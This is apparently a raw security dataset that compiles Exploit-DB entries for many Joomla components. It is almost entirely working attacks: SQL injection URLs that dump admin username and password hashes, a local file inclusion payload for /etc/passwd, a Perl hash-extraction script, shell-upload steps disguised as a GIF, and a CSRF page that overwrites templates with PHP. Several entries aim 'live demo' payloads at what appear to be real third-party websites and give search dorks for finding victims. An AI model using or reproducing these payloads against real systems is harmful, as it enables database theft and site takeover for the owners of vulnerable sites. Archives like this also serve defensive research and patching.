deardaniel/secdata-raw huggingface dataset:
Exploit-DB #12769
Description: Joomla! Component com_mediqna 1.1 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-05-27
Author: kaMtiEz

Exploit:
[!]===========================================================================[!]

[~] Joomla Component MediQnA LFI vulnerability 
[~] Author	: kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage	: http://www.indonesiancoder.com 
[~] Date	: 27 May, 2010
[~] location    : Indonesia

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.FamousWebsites.biz/
[+] More Info : http://www.famouswebsites.biz/JED/Medi-QnA/Medi-QnA.php
[+] Price : free
[+] Vulnerability : LFI
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://www.famouswebsites.biz/JED/Medi-QnA/com_mediqna.zip
[+] version : v1.1

[!]===========================================================================[!]

[+] [ Live From Jogja ] [+]

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_mediqna&controller=[INDONESIANCODER]

[ XpL ]

../../../../../../../../../../../../../../../etc/passwd%00


[ d3m0 ]

http://[site]/index.php?option=com_mediqna&controller=../../../../../../../../../../../../../../../etc/passwd%00

etc etc etc ;]

[!]===========================================================================[!]

[ Thx TO ]

[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW ARUMBIA TEAM
[+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot,heart_attack
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,yur4kh4,MISTERFRIBO,pL4nkt0n


[ NOTE ] 

[+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] ajep ajep ajep ajep
[+] r3m1ck : makasi di bolehin bubu di kost nya .. kwkwkwkwk

[ QUOTE ]

[+] INDONESIANCODER still r0x
[+] nothing secure ..
[+] ./e0f
Exploit-DB #37773
Description: Joomla! Component com_memorix - SQL Injection
Type: webapps
Platform: php
Date: 2015-08-15
Author: Omar

Exploit:
# Exploit Title: Joomla com_memorix component SQL Injection vulnerability
# Date: 13-08-2015
# Software Link: N/A
# Exploit Author: Omar AbuHassan
# Contact: https://www.linkedin.com/pub/omar-abu-hassan/bb/600/960
# CVE: N/A
# Category: webapps
# Version: All
# Tested on: Kali linux (x64) / Windows 8.1 pro (x64)
 
1. Description
   
Normal user can inject sql query in the url which lead to read data from the database.
 
2. Proof of Concept

http://www.example.com/index.php?option=com_memorix&task=result&searchplugin=theme&Itemid=60&ThemeID=-8594 (SQLI)

Injected column is # 3

http://www.example.com/index.php?option=com_memorix&task=result&searchplugin=theme&Itemid=60&ThemeID=-8594+union+select+111,222,version(),444,555,666,777,888,999--+AbuHassan

** No solution yet from vendor **

#######################
# Greets to Palestine #
#######################
Exploit-DB #12015
Description: Joomla! Component com_menu - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-02
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_menu SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-02

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_menu SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_menu&id=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_menu&id=-1+UNION+SELECT+1,2,3,4,5,6--

  
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #35883
Description: Joomla! Component com_morfeoshow - 'idm' SQL Injection
Type: webapps
Platform: php
Date: 2011-06-27
Author: Th3.xin0x

Exploit:
source: https://www.securityfocus.com/bid/48452/info

The 'com_morfeoshow' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_morfeoshow&task=view&gallery=1&Itemid=114&Itemid=114&idm=1015+and+1=0+union+select+1,2,concat%28username,0x3a,password%29,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+from+jos_users+--+
Exploit-DB #8872
Description: Joomla! Component com_mosres - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-06-03
Author: Chip d3 bi0s

Exploit:
                                                                     
==================================================================================
     Joomla Component com_mosres (property_uid) SQL injection Vulnerability
==================================================================================



###################################################
[+] Author        :  Chip D3 Bi0s
[+] Author Name   :  Russell...
[+] Email         :  chipdebios[alt+64]gmail.com
[+] Group         :  LatinHackTeam
[+] Vulnerability :  SQL injection 
[+] Google Dork   :  imagine ;)
[+] Email         :  chipdebios[alt+64]gmail.com

###################################################

Conditions        : magic_quotes_gpc = Off
---------------------------------------------------
Example Joomla:
http://localHost/path/index.php?option=com_mosres&task=viewproperty&property_uid=[SQL code]

[SQL code]:
null'+and+1=2+union+select+1,2,3,4,concat(username,0x3a,password)ChipD3Bi0s,6,7,8,9,10,11,12,13+from+jos_users/*

Live Demo:
http://ahtopolbg.com/index.php?option=com_mosres&catID=1004&regID=2&task=viewproperty&property_uid=null'+and+1=2+union+select+1,2,3,4,concat(username,0x3a,password)ChipD3Bi0s,6,7,8,9,10,11,12,13+from+jos_users/*

---------------------------------------------------
Example Mambo:
http://localHost/path/index.php?option=com_mosres&task=viewproperty&property_uid=[SQL code]

[SQL code]:
null'+and+1=2+union+select+1,2,3,4,concat(username,0x3a,password)ChipD3bi0s,6,7,8,9,10,11,12,13+from+mos_users/*

Live Demo:
http://www.velingradbg.com/index.php?option=com_mosres&task=viewproperty&property_uid=1005%27%20and%201=2%20union%20select%201,2,3,4,concat(username,0x3a,password)ChipD3bi0s,6,7,8,9,10,11,12,13+from+mos_users/*

**************************
however, still looking ... component, can be injected in several places (not all or always).
Almost always SQL injection & also blind sql injection.
I let you work ;)

http://www.ahtopolbg.com/index.php?option=com_mosres&task=showregion&regID=4%27+and+1=2+union%20select%201,concat(username,0x3a,password)+from+jos_users/*&lang=bg

**************************


+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++




<name>Mos Res</name>
<creationDate>23/02/2005</creationDate>
<author>Vince Wooll</author>
<copyright> This component is released under the GNU/GPL License </copyright>
<authorEmail>mosres@woollyinwales.co.uk</authorEmail>
<authorUrl>http://www.mosres.net</authorUrl>
<version>1.0f</version>
<description>Mambo Resident component for v4.5.2</description>

# milw0rm.com [2009-06-03]
Exploit-DB #36629
Description: Joomla! Component com_motor - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2012-01-26
Author: the_cyber_nuxbie

Exploit:
source: https://www.securityfocus.com/bid/51673/info

The 'com_motor' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

 http://www.example.com/index.php?option=com_motor&controller=motor&task=edit&cid[0]=[SQL Injection]
Exploit-DB #20170
Description: Joomla! Component com_movm - SQL Injection
Type: webapps
Platform: php
Date: 2012-08-01
Author: D4NB4R

Exploit:
_______________________________________________________________________________________
  
 Exploit Title: Joomla com_movm SQL Injection
 
 Date: [31-07-2012]
 
 Author: Daniel Barragan "D4NB4R"
 
 Twitter: @D4NB4R
 
 site: http://poisonsecurity.wordpress.com/
 
 Vendor: http://www.movm.net/
 
 Version: 1.0 (Date Added 28 July 2012)
 
 License: Commercial $ 49.99 us

 Demo: http://www.movm.net/movm-mobile-virtuemart-site-demo/
  
 Tested on: [Linux(bt5)-Windows(7ultimate)]
 
 
 This component was released 3 days ago.be careful when using this component 
 Movm is a joomla extension for mobiles which optimize VirtueMart sites for iphone, android and blackberry. 
 It is compatible  with Joomla2.5 and VirtueMart 2.0.Have used Jquery mobile, so it gives native effect to Web App.
 This component can be Attacked from a mobile, put the following string in the url field.
 
 p0C

 http://server/index.php?option=com_movm&controller=product&task=product&id=999999'+UNION+ALL+SELECT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2Cdatabase()+FROM+information_schema.schemata--+D4NB4R%20

  
 
Im not responsible for which is given
No me hago responsable del uso que se le de
_______________________________________________________________________________________
Daniel Barragan "D4NB4R"  2012
Exploit-DB #14995
Description: Joomla! Component com_mtree 2.1.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-09-13
Author: jdc

Exploit:
# Exploit Title: Joomla Component Mosets Tree 2.1.5 Shell Upload 
Vulnerability
# Date: 6 September 2010
# Author: jdc
# Software Link: http://www.mosets.com/tree/
# Version: 2.1.5
# Patched: 2.1.6
# Tested on: PHP5, MySQL5

Mosets Tree suffers from a shell upload vulnerabilty caused by 
improperly checking the filetype of uploaded images.

Tools used:
-----------
1. Firefox web browser
2. Firebug extension
3. GIMP image editor

Steps to Reproduce:
-------------------
1. Open GIMP, create a new image.
2. Save image as a GIF file, with the shell as the comment (surrounded 
by <?php ?> tags).
3. Rename GIF to shell.gif.php
4. Create an account on the target site
5. Navigate to the mtree entry form
6. Fill out all mandatory form fields
7. At the bottom of the form you should be able to add images. Add your 
shell.
8. Open Firebug and navigate to the Console tab
9. At the bottom of the console, type this in & hit enter:

(document.getElementById('adminForm')).submit();

10. After the form submits, you should be on your user listing page
11. Navigate to 
http://{target}/components/com_mtree/img/listings/o/{id}.php where {id} 
is the id number of your new entry

Caveats:
--------
* Requires a registered account
* The shell will have GIF garbage before the PHP code, so headers will 
already be sent...
* Works if image processing is set to GD or ImageMagick. NetPbm untested.

Greets: Sid3^effects, lafrance (happy birthday old man!)
Exploit-DB #15570
Description: Joomla! Component com_mtree 2.1.6 - Overwrite Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2010-11-18
Author: jdc

Exploit:
<?php
/**
  * Mosets Tree 2.1.6 (Joomla) Template Overwrite CSRF
  * 3 October 2010
  * jdc
  *
  * How it works - admin template form has no nonce
  * How to exploit - get a logged in admin to click the wrong link ;)
  * Patched in 2.1.7
  */
// change these
$target = 'http://localhost/joomla';
$exploit = '<?php echo phpinfo(); ?>';
/* page - any one of:
page_addCategory
page_addListing
page_advSearchRedirect
page_advSearchResults
page_advSearch
page_claim
page_confirmDelete
page_contactOwner
page_errorListing
page_error
page_gallery
page_image
page_index
page_listAlpha
page_listing
page_listListings
page_ownerListing
page_print
page_recommend
page_replyReview
page_reportReview
page_report
page_searchByResults
page_searchResults
page_subCatIndex
page_usersFavourites
page_usersReview
page_writeReview
sub_alphaIndex
sub_images
sub_listingDetails
sub_listings
sub_listingSummary
sub_map
sub_reviews
sub_subCats
*/
$page = 'page_print';
// don't change these
$path = '/administrator/index.php';
$data = array(
     'pagecontent' => $exploit,
     'template' => 'm2',
     'option' => 'com_mtree',
     'task' => 'save_templatepage',
     'page' => $page
);
?>
<html>
<body>
<?php if (@$_GET['iframe']) : ?>
<form id="csrf" action="<?php echo $target.$path; ?>" method="post">
<?php foreach ($data as $k => $v) : ?>
<input type="text" value="<?php echo htmlspecialchars($v); ?>" 
name="<?php echo $k; ?>" />
<?php endforeach; ?>
<script type="text/javascript">
document.forms[0].submit();
</script>
</form>
<?php else : ?>
<h1>Mosets Tree 2.1.6 Template Overwrite CSRF Exploit</h1>
<p>If you were logged in as admin, you just got owned!</p>
<div style="display:none">
<iframe width="1" height="1" src="<?php __FILE__; ?>?iframe=1"></iframe>
</div>
<?php endif; ?>
</body>
</html>
Exploit-DB #10227
Description: Joomla! Component com_mygallery - 'cid' SQL Injection
Type: webapps
Platform: php
Date: 2009-11-25
Author: S@BUN

Exploit:
Bugtraq ID:  	 37121
Class: 	Input Validation Error
Published: 	Feb 21 2008 12:00AM
Updated: 	Nov 24 2009 10:15PM
Credit: 	S@BUN
Vulnerable: 	Joomla com_mygallery 0

The 'com_mygallery' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 



Attackers can use a browser to exploit this issue.

The following example URIs are available:

http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14/**/from/**/jos_users/*

http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/from/**/jos_users/*

http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password),concat(username,0x3a,password),15/**/from/**/jos_users/*

http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12--

http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-1+union+all+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15+from+jos_users

http://server/index.php?option=com_mygallery&amp;func=viewcategory&amp;cid=-1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+jos_users
Exploit-DB #7612
Description: Joomla! Component com_na_content 1.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-29
Author: Mehmet Ince

Exploit:
Joomla Component com_na_content 1.0 Blind SQL Injection Vuln

Author: xoron

Exploit: /index.php?option=com_na_content&task=view&id=1 having 1=0
            /index.php?option=com_na_content&task=view&id=1 having 1=1
or

            /index.php?option=com_na_content&task=view&id=1 and substring(@@version,1,1)=4
            /index.php?option=com_na_content&task=view&id=1 and substring(@@version,1,1)=5

!! You can use this for inj.
!! Thans for Ozan!

# milw0rm.com [2008-12-29]
Exploit-DB #7669
Description: Joomla! Component com_na_newsdescription - 'newsid' SQL Injection
Type: webapps
Platform: php
Date: 2009-01-05
Author: EcHoLL

Exploit:
#!/usr/bin/perl -w
 
 
#Joomla com_na_newsdescription Sql injection#
########################################
#[~] Author :  EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
 
#[!] Module_Name:  com_na_newsdescription
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_na_newsdescription"
########################################
 
 
system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                 Turkish Securtiy Team                      |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_na_newsdescription(show&groupId=)Remote SQL Injection Vuln|\n\n";
print "\t\t|   Coded by: EcHoLL     www.warezturk.org               |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
 
use LWP::UserAgent;
 
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
 chomp(my $target=<STDIN>);
 
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target .   "/index.php?option=com_na_newsdescription&task=show&groupId=17377_19&newsid=85790+AND+1=2+UNION+SELECT+".$column_name.",1,2,3,4,5,6,7+from/**/".$table_name."--";< BR>$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  print "\n[+] Admin Hash : $1\n\n";
  print "#   Tebrikler Exploit Calisti!  #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2009-01-05]
Exploit-DB #11990
Description: Joomla! Component com_network - SQL Injection
Type: webapps
Platform: php
Date: 2010-04-01
Author: DevilZ TM

Exploit:
# Title : Joomla Component com_network SQL Injection Vulnerability
# Author: DevilZ TM
# Data  : 2010-04-01

[~]######################################### InformatioN #############################################[~]
 
[~] Title     : Joomla Component com_network SQL Injection Vulnerability
[~] Author    : DevilZ TM By D3v1l
[~] Homepage  : http://www.DEVILZTM.com
[~] Email     : Expl0it@DevilZTM.Com
[~] Contact   : D3v1l.blackhat@yahoo.com
 
[~]#########################################   ExploiT   #############################################[~]
 
[~] Vulnerable File :
 
http://127.0.0.1/index.php?option=com_network&act=customer&task=details&cid=[SQL]
 
[~] ExploiT         :
 
-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--
 
[~] Example         :
 
http://127.0.0.1/index.php?option=com_network&act=customer&task=details&cid=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--

 
[~]######################################### ThankS To ... ############################################[~]
 
[~] Special Thanks To My Best FriendS :
 
Exim0r , Raiden , b3hz4d , PLATEN , M4hd1 , Net.Edit0r , Amoo Arash , r3d-r0z AND All Iranian HackerS
 
[~] IRANIAN Young HackerZ
 
[~] GreetZ : Exploit-DB TeaM

[~]#########################################   FinisH :D   #############################################[~]
Exploit-DB #7828
Description: Joomla! Component com_news - SQL Injection
Type: webapps
Platform: php
Date: 2009-01-19
Author: snakespc

Exploit:
==================================================================================================================
=         SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM            = 
=         S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M            =      
+         SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M            +       
=             S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M            =      
=         SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M            = 
===================================================SNAKES TEAM====================================================
+                                                                                                                =
=              	                    Joomla Component news SQL Injection Vulnerability                            +
+                                                                                                                =
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =          Discovered By: Snakespc  :::ALGERIAN HaCkEr:::               =     =   
                =                                                                                    =
                                    :::::Mail: snakespc@gmail.com:::::::             
                =                                                                                    =                                                                                   =
                =                               "com_news"                                           =
                  ===================================GAZA=============================================

Exploit:
http://localhost/index.php?option=com_news&id=-148+UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users--
********
Live demo:
http://www.fermaten.dk/index.php?option=com_news&id=-148+UNION SELECT 1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users--
============================================================== ALLAH AKBAR=========================================================

Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N:::
ALL www.Snakespc.com/SC >>>> Members 
Str0ke ....Milw0rm
==================================================================GAZA============================================================

# milw0rm.com [2009-01-19]
Exploit-DB #48202
Description: Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection
Type: webapps
Platform: php
Date: 2020-03-12
Author: Milad karimi

Exploit:
# Exploit Title: Joomla! Component com_newsfeeds 1.0 - 'feedid' SQL Injection
# Date: 2020-03-10
# Author: Milad Karimi
# Software Link:
# Version:
# Category : webapps
# Tested on: windows 10 , firefox
# CVE : CWE-89
# Dork: inurl:index.php?option=com_newsfeeds


index.php?option=com_newsfeeds&view=categories&feedid=[sqli]

Example:

http://[site]/index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users--